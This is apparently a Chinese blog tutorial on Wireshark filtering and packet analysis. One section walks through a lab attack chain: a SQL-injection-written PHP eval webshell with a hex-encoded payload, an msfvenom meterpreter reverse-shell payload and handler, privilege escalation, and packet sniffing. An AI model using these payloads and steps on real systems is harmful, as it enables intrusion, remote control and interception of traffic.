每日一句:
不好意思,这个章节晚了太久,之前认为用处不大没怎么总结。
直到在项目中用到了,才发现没有总结。反面例子与教训。
本文内容:
~Wireshark简介
~Wireshark初步使用
~MSF嗅探数据包分析
~WSExplorer分析
目的: 快速上手初步使用Wireshark
一、Wireshark简介
1.定义
Wireshark是世界上最流行的网络分析工具。
这个强大的工具可以捕捉网络中的数据,并为用户提供关于网络和上层协议的各种信息。
值得注意的是Wireshark只能查看数据包,而不能修改数据包的内容,或者发送数据包。
所以,对于一些http/https的数据包还是较为推荐burp进行测试。当然,大鲨鱼的优点也很明显,
它支持(能抓到)的协议很多很多,一些网络工程师会经常用这个软件分析流量、学习一些协议。
2.位置
官网: https://www.wireshark.org
下载地址:https://www.wireshark.org/#download
Wiki: https://wiki.wireshark.org/
3.作用
我们可以通过Wireshark进行分析网络进程的数据包
二、Wireshark初步使用
0.简单介绍
(1)
Wireshark是对网卡上数据的捕获,所以如果电脑上有多个网卡的话,
需要对网卡进行一个选择。可以通过cmd的命令: ipconfig进行查看本机的网卡。
万一选错了,怎么办?
点击小鲨鱼尾巴旁边的 “ 停止捕获分组 ” ,之后选择鲨鱼尾巴上的“ 文件 ” -- “ 关闭 ”即可。
(2)
Wireshark的主要窗口分为5个,
从到往下,依次为:
过滤器 :支持一些语法的使用,方便快速找出信息
封包列表 :显示捕获到的一些封包数据,如源地址、目标地址、端口号、颜色不同,代表的数据也不相同。
第一列的No是捕获序号,
第二列的Time是相对捕获时间(从第一个包开始,你点击开始的那一刻)
接着就是Source,来源的MAC地址
Destination,目标的MAC地址
长度、协议、Info(详细描述)
补充:在选择一条数据的时候,“ No. ”的下边会出现一些友好的小图标
封包详细信息:主要是有一些封包的字段
Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
//这个里面是物理层的一些信息
Ethernet II, Src: Vmware_c0:00:08 (00:50:56:c0:00:08), Dst: Vmware_be:ab:21 (00:0c:29:be:ab:21)
//这个里面是一些数据链路层的信息
Internet Protocol Version 4, Src: 192.168.88.1, Dst: 192.168.88.132
//这个里面是一些网络层的信息,一般有一些自己的IP与目标IP的信息
Transmission Control Protocol, Src Port: 40725, Dst Port: 80, Seq: 0, Len: 0
//传输层的信息,一般有一些端口信息(本机的,目标的),三次握手信息
Hypertext Transfer Protocol
//应用层的一些信息
16进制信息 :一些16进制数据
其实,当你选中一些 “ 封装详细信息 ”内容的时候,这个里面就会出现对应的16进制内容,
有些未加密的内容,在右边会显示。
最下边一小层是地址栏
一般显示有多少条数据流记录
1.比较运算符和逻辑运算符
Comparison operators (比较运算符):可以使用6种比较运算符:
英文写法: C语言写法: 含义:
eq == 等于
ne != 不等于
gt > 大于
lt < 小于
ge >= 大于等于
le <= 小于等于
Logical expressions(逻辑运算符):
英文写法: C语言写法: 含义:
and && 逻辑与
or || 逻辑或
xor ^^ 逻辑异或
not ! 逻辑非
2.常见过滤器
(1)协议过滤
语法: 协议 . 请求 . 方法(可不写) 比较运算符 值 逻辑运算符(可不写) 其他表达
例如: http request method == "POST" or icmp.type
上实例分析:
http.request.method == "POST" or icmp.type 显示POST请求的数据包或者icmp协议的数据包
ip.addr == 192.168.88.1 显示IP地址192.163.88.1相关的数据包(包括发送的包与返回的包)
ip.src == 10.230.0.0/16 显示来自10.230.0.0/16网段的数据包
http.host == "192.168.88.132" 显示主机192.168.88.132相关的数据包
tcp.port == 25 显示来源或目的TCP端口号为25的数据包
tcp.dstport == 25 显示目的TCP端口号为25的数据包
http.response.code==302 显示http响应状态码为302的数据包
(2)内容过滤
contains :Does the protocol, field or slice contain a value
tcp contains "http" 显示包含"http"字符串的tcp数据包
http.host contains “192.168.88.132” 显示包含主机192.168.88.132的数据包
(3)注意
~在过滤器那个地方,使用语法错误或者不全都会导致框内颜色变红。
~命令太多,记不住怎么办? 点击过滤器框右边的 “ 表达式 ” 根据自己的印象选择,然后点击“ ok ”即可。
3.分析一些现成的数据包
(0)前提
之前朋友给的一个XSS的数据包,正好一起来试试手。(文件名称:xss.pcap)
(1)步骤(分析arp协议)
点击小鲨鱼尾巴上边的“ 文件 ” -- “ 打开 ” -- 选择 xss.pcap,
在过滤器,输入: arp3
第一行的内容为:
4.000000 Vmware_be:ab:21 Broadcast ARP 42 Who has 192.168.88.1? Tell 192.168.88.132
从这,就可以简单分析一下arp协议的过程,即知道MAC地址,寻找IP。如上述的详细处的意思:
在网络中广播,谁是192.168.88.1,请告诉192.168.88.132
第二行的内容为:
4 4.000000 Vmware_c0:00:08 Vmware_be:ab:21 ARP 60 192.168.88.1 is at 00:50:56:c0:00:08
意思是,我是192.168.88.1,我得MAC地址是XXX,来给我发消息吧
这个时候,在过滤器中,输入tcp,就可以发现上述两个IP之间开始TCP的三次握手了。
注意:
~在本机做测试中,需要先打开本机的CMD,输入arp -d 清理一下arp缓存
~清理完毕后,可以用命令,arp -a来查看本机的arp缓存表
~打开wireshark开启监听;然后ping一下虚拟机的IP地址。
~暂停Wireshark的监听,在次查看arp的缓存表应该会到一条记录
~按照上述方法,既可在wrieshark中查看整个过程
~当下次在ping虚拟机的时候,就不会问,虚拟机的MAC地址是多少而直接ping对应的了。
(2)数据包
上述的XSS数据包,有需要的可以私我。另外大家练习分析数据包的话,可以去大白鲨的官网去下载。
官方提供了很多情况的数据包,应该也有对应的文章解析。 //下载地址: https://wiki.wireshark.org/SampleCaptures
这是很不错的资源分享,因为一些数据包的获取,需要一些特殊环境才能抓到。
另外,想学一些协议的时候,用大鲨鱼看看发送与返回包会学的很快。
比如,有可以在我分享的那个XS.pcap中找找三次握手的包进行分析一下。(看看SYN、ACK的数值变化)
是不是符合,SYN=0 ---> SYN=1,ACK=0 ---> ACK=1 这样的变化
是不是紧紧挨着上述三个包的,第四个包就是如HTTP协议的信息了。
当然,有的SYN并不是0,有可能是1、22、66、n等。但是不管是什么,
紧接着返回包的值一定是:2、23、67、n+1等 ;ACK也是这个情况。
4.wireshark的追踪流功能
功能作用: 选择某条记录,点击追踪TCP流,跳到该菜单后,主面板上包列表里,仅列出本次TCP会话的包。
上两个前辈的示例:
https://blog.51cto.com/yttitan/1737904
https://blog.51cto.com/yttitan/1738099
还是推荐大家看看
三、MSF嗅探数据包分析
1.总体思路
通过Mysql漏洞拿到webshell
webshell上传MSF后门
MSF开启嗅探数据
wireshark分析数据包
2.具体
(1)通过Mysql写日志拿到webshell
sql导出文件的语句:
~into outfile
~into dumpfile
举例:
语句: select 1,2,3 into dumpfile 'C:\\www\\123.txt'
作用: 在“c:\www\”目录下新建123.txt。 其内容为“123”
进阶:通过此方式写一句马
语句: select 1,2'<?php eval($_REQUEST[8])?>' into dumpfile 'C:\\www\\123.php'
作用: 在“c:\www”目录下新建123.php文件,内容为一句马
注意:
(1.1)这个函数(into dumpfile)在mysql高版本是默认不开启的
类似的还有load_file(),一般这两个函数要开启都会开启
(1.2)如何存在堆叠注入(即可以同时执行多条语句),
可以通过日志的方法写webshell。
(1.3)在phpstudy修改默认状态后,需要重启生效
(1.4)在老一点的版本中是可以直接使用的,新版本会报一个1290权限的错误
实战中的语句:url ?id=1 union select 1,'一句马内容' into dumpfile "C:\\www\\123.php"
即在浏览器URL中的语句,但是这么写真的没什么问题吗?慢慢向下看。
补充:
(2.1)这个路径怎么获得?
通过sql报错注入,使服务器爆出路径
若爆不出,只能靠猜了。
当然也可以配合别的攻击手段使爆出绝对路径
(2.2)第一次写文件,建议先写一个txt文档,成功后在写php文件
可以看看自己写到txt的代码有没有问题,避免一些悬学问题
(2.3)一句马内容
若直接写“<?php eval($_REQUEST[8])?>”肯定报错
因为url栏中“?”一般代表传参,会冲突。
(2.4)那一句马怎么写?
将一句马内容16进制编码。即得到:
“3c3f7068706576616c28245f524551554553545b385d293f3e”
注意:16进制编码会将空格默认去掉,即上边的编码,
解码后是这样的:<?phpeval($_REQUEST[8])?>
而php中,那个空格是格式,这样的代码是会报错的。
怎么办?----->加空格! (空格的16进制编码是20),
即在“3c3f706870”后加“20”。
事实上,3c3f706870就是是‘ <?php ’的编码
综上,在url中的完整语句为:
url?id=1 union select 1,'3c3f706870206576616c28245f524551554553545b385d293f3e' into dumpfile "C:\\www\\123.php"
(2.5)为什么要进行16进制编码?
URL编码本质就是16进制
(2.6)上述语句中为什么多加“1”(union select 1,内容)
这个1,是联合查询中,要和前一个表的字段数相同所补充的格式
实战中,可能会很多。 至于字段数可以通过“order by”判断出
(2.7)路径为什么有两个“ \\ ”
正常路径是:“C:\www\123.txt”。但是这需要转义
要么路径中用“\\”,要么用“/”否则地路径会与网络路径会发生冲突
(2.8)有时候sql注入爆不出回显点,可以将前边语句加个“and 1=2”
正常语句: url id=1 union select 1,2 //不显示回显点
构造语句: url id=1 and 1=2 union select 1,2 //出现回显点
(2.9)为什么一句马中的$_REQUEST[8]用数字8
因为这样的数字传参不用加单引号或者双引号,会简单很多
建议以后同学们写马也用数字传参
最后蚁剑连接一句马
(2)webshell上传MSF后门
(2.1)生成木马
在kali的命令框内,依次执行下边两条命令:
msfconsole
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.221.143 lport=1250 -f exe > shell.exe
补充:
-p 指定payload ;; -e 指定编码平台
-i 指定编码次数 ;; -f 指定文件输出格式
lhost 监听机的IP ;; lport 监听机的端口
msfvenom MSF的编码模块 ;; windows/meterpreter/reverse_tcp 一个反弹shell的payload
//这个木马被生成在主目录文件夹下。
(2.2)开启监听
将生成的木马,通过蚁剑丢过去。在MSF中开启监听,命令如下:
" use exploit/multi/handler "
然后"options",查看需要配置什么,
"set payload windows/meterpreter/reverse_tcp"
在options查看,需要配置什么,
"set lhost 192.168.221.143"
"set lport 1250"
"run"
(2.3)运行木马
回到蚁剑,打开蚁剑命令执行终端,
"cd C:/phpstudy/XXXXXXX/WWW/"
"shell.exe"
此时,MSF那边应该就已经拿到了会话。
(2.4)提升权限
在MSF中运行命令,看看当前服务器信息能不能查看(验证是否成功获取会话) --> "sysinfo"
查看当前权限:"getuid"
尝试直接提权:"getsystem"
在次查看权限:"getuid" 在靶机目标这样直接提权成功,估计几乎没打什么补丁。
(3)MSF开启嗅探数据
加载嗅探模块命令: "load sniffer" 回车出现“xxxx success”表示加载成功
开启嗅探:
直接输入 " ? " 可以查看sniffer有哪些常用命令
"sniffer_interfaces" 查看可加载哪些网卡,
"sniffer_start 2" 监听第二个网卡
("ps" 列出此时系统的所以进程及其进程ID信息)(可不运行此命令)
"sniffer_stop 2" 停止监听
"sniffer_dump 2 Test.pcap" 导出刚刚监听网卡的数据包到Test.pcap
//此文件应该被保存到 本地“ 主目录 ”下边了
(4)wireshark分析数据包
可以用wireshark打开Test.pcap,去找找一些有趣(无聊)的信息
四、WSExplorer分析
这是一个类似wireshark的软件,但是不用设置网卡。打开可以抓到电脑上软件交互的信息。
比如,我们将此软件打开,在打开一个含有后门的软件(如之前搞到一个含后门的菜刀)。
同时将这两个应用打开,可以很明显的在WSExplorer中发现这个菜刀
向某Host的某目录发送POST包 进行交互请求,而且这个请求地址明显不是官方的。
这两个软件有兴趣的可以私聊我要,建议在虚拟机打开玩玩,尽量不要在本机真实环境下养蛊。